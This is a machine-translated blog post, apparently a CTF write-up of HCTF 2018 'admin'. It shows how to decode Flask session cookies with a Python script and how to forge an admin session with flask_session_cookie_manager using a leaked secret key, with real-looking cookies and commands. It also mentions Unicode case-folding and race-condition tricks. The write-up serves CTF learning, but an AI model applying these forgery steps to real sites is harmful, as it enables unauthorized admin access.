当前位置:网站首页>Flask session forged hctf admin
Flask session forged hctf admin
2022-07-07 13:48:00 【A traveler】
Knowledge point :
flask Of session It's stored on the client side cookie Medium , and flask Only the data is signed . It is well known that , Signature is tamper proof , And cannot be prevented from being read . and flask No encryption operation is provided , So its session All the contents of can be read on the client . Still some session It is stored in the database or in the file of the server .
About only admin To read flag The subject of , We can fake it session To achieve identity forgery ;
Steps are as follows :
There must be a forged code : Download address :https://github.com/noraj/flask-session-cookie-manager
1. First get the website session value ,F12 cookie Get... Inside , And then session To decrypt : Decrypt a lot of scripts online ; What I have here is :
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
The code can be placed from https://github.com/noraj/flask-session-cookie-manager Downloaded session Forge encrypted code files to match cmd Use
Usage method :python session Decrypt .py session value
for example :
>python session Decrypt .py eyJ1c2VybmFtZSI6eyIgYiI6IlozVmxjM1E9In19.XyZ3Vw.OcD3-l1yOcq8vlg8g4Ww3FxrhVs
result :
2. Will decrypt the obtained session To forge , Forgery requires a key , So we need to find its key to forge : Generally, it is forged admin, Just change the user name to admin
Usage method : The flask Forge encryption and decryption , What is commonly used here is encode ,
sentence : python flask_session_cookie_manager3.py encode -s " secret key " -t "session Decryption result ( After changing the user name )"
for example
python flask_session_cookie_manager3.py encode -s "woshicaiji" -t "{'username': b'admin'}"
3. Will be forged session Re input cookie;
HCTF admin For example :
First of all, we can register an account and password randomly , You can get tips in the source code of the password change interface , The useful source code is in the prompt ;
The source code of this problem needs to be found in the tips given , Refer to others for specific process wp, Anyway, after getting the download path, first look at the route route Although there is nothing in this problem ;
Reference resources :BUUCTF [HCTF 2018]admin 1_wow Xiaohua's blog -CSDN Blog
1.session Copy down : Decrypt session;
python session Decrypt .py .eJw9kMGKwkAMhl9lydmDrfUieFmmWyokpVIdJhdRW52mHXepSrXiu--sCx5yyffz_SQP2By66mxhdumu1Qg2dQmzB3zsYAYoaU8JO0zSidHccrKKSOfjrGh6lP3AOr8ZySNWq5CGZoIO71nCFoeFIzFTlnXNydJSkgY4lK3P9KzTkIo4ILcQktKSxBFJGpnC3EjF90xjkOl0IPVpjcRTP76vbLLCCqnS-pxnec8q7llYjNiWnZnDcwT7c3fYXL6b6vQ-gYr85iun5OK7CfMIw2WLxT7EP4UsLMra-V2NqgnYrSVTX0L9_KWr3fZYvU2m_dF0_CenrfMAgnACI7ieq-71NQjG8PwFEfNsnQ.YsLkGA.-IhgD3h5Rju-WwMa4YbLJO69j6I
obtain :
{'_fresh': True, '_id': b'2204ff0b7afede85d4990273ed1b48d567972c28fa32f669f5bdda4b537e790eb65156bc67a618628a614129c59b340ab19b1497d98c47aa63440d10f6cb8eff', 'csrf_token': b'541eb96a2cd83de176040f2a25f3db095fec81c7', 'image': b'bZV6', 'name': '123', 'user_id': '10'}
Will be one of the name value 123 Change it to admin after forge ;
The key here is config.py in ;
2. Direct forgery :
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'2204ff0b7afede85d4990273ed1b48d567972c28fa32f669f5bdda4b537e790eb65156bc67a618628a614129c59b340ab19b1497d98c47aa63440d10f6cb8eff', 'csrf_token': b'541eb96a2cd83de176040f2a25f3db095fec81c7', 'image': b'bZV6', 'name': 'admin', 'user_id': '10'}"
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'2204ff0b7afede85d4990273ed1b48d567972c28fa32f669f5bdda4b537e790eb65156bc67a618628a614129c59b340ab19b1497d98c47aa63440d10f6cb8eff', 'csrf_token': b'541eb96a2cd83de176040f2a25f3db095fec81c7', 'image': b'bZV6', 'name': 'admin', 'user_id': '10'}"
result :
.eJw9kMGKwkAMhl9lydmDrfUieFmmWyokpVIdJhdRW52mHXepSrXiu--sCx5yyffz_SQP2By66mxhdumu1Qg2dQmzB3zsYAYoaU8JO0zSidHccrKKSOfjrGh6lP3AOr8ZySNWq5CGZoIO71nCFoeFIzFTlnXNydJSkgY4lK3P9KzTkIo4ILcQktKSxBFJGpnC3EjF90xjkOl0IPVpjcRTP76vbLLCCqnS-pxnec8q7llYjNiWnZnDcwT7c3fYXL6b6vQ-gYr85iun5OK7CfMIw2WLxT7EP4UsLMra-V2NqgnYrSVTX0L9_KWr3fZYvU2m_dF0_CenrfMAtqWrTzCC67nqXn-DYAzPX_3EbhA.YsLnVA.f91nHdCGekSIwqWqz9T9cba5tkA
3. Re enter the above results cookie Medium session , Refresh ; You can see flag;
This problem passed the code audit , You can also see a function vulnerability :
Unicode cheating
strlower() Leading to deception , Reference resources
HCTFadmin-- About flasksession Forgery and unicode The deception of _Z3eyOnd The blog of -CSDN Blog
That is, through query Unicode Special code for , for instance A Yes. ᴬ , If we register ᴬdmin , The function will put ᴬ It can be interpreted as A; If you change your password or log in again, you will A It can be interpreted as a; So as to achieve the goal ;
There is also conditional competition ; Refer to the link above ;
边栏推荐
- Cmake learning and use notes (1)
- Data refresh of recyclerview
- Getting started with cinnamon applet
- Introduction to database system - Chapter 1 introduction [conceptual model, hierarchical model and three-level mode (external mode, mode, internal mode)]
- Detr introduction
- 数字ic设计——SPI
- 室内ROS机器人导航调试记录(膨胀半径的选取经验)
- Ikvm of toolbox Net project new progress
- .net core 关于redis的pipeline以及事务
- Distributed transaction solution
猜你喜欢
Use of polarscatter function in MATLAB
118. 杨辉三角
社会责任·价值共创,中关村网络安全与信息化产业联盟对话网信企业家海泰方圆董事长姜海舟先生
Mathématiques avancées - - chapitre 8 différenciation des fonctions multivariables 1
Custom thread pool rejection policy
566. 重塑矩阵
Distributed transaction solution
Centso7 OpenSSL error Verify return code: 20 (unable to get local issuer certificate)
OSI seven layer model
数据库系统概论-第一章绪论【概念模型、层次模型和三级模式(外模式、模式、内模式)】
随机推荐
Show the mathematical formula in El table
Leetcode simple question sharing (20)
Esp32 ① compilation environment
2022-7-6 Leetcode27. Remove the element - I haven't done the problem for a long time. It's such an embarrassing day for double pointers
Centso7 OpenSSL error Verify return code: 20 (unable to get local issuer certificate)
move base参数解析及经验总结
2022-7-7 Leetcode 34.在排序数组中查找元素的第一个和最后一个位置
Read PG in data warehouse in one article_ stat
Split screen bug notes
Data refresh of recyclerview
供应链供需预估-[时间序列]
Esp32 construction engineering add components
《厌女:日本的女性嫌恶》摘录
Custom thread pool rejection policy
MySQL error 28 and solution
Mysql怎样控制replace替换的次数?
2022-7-7 Leetcode 844. Compare strings with backspace
Oracle advanced (V) schema solution
最佳实践 | 用腾讯云AI意愿核身为电话合规保驾护航
call undefined function openssl_cipher_iv_length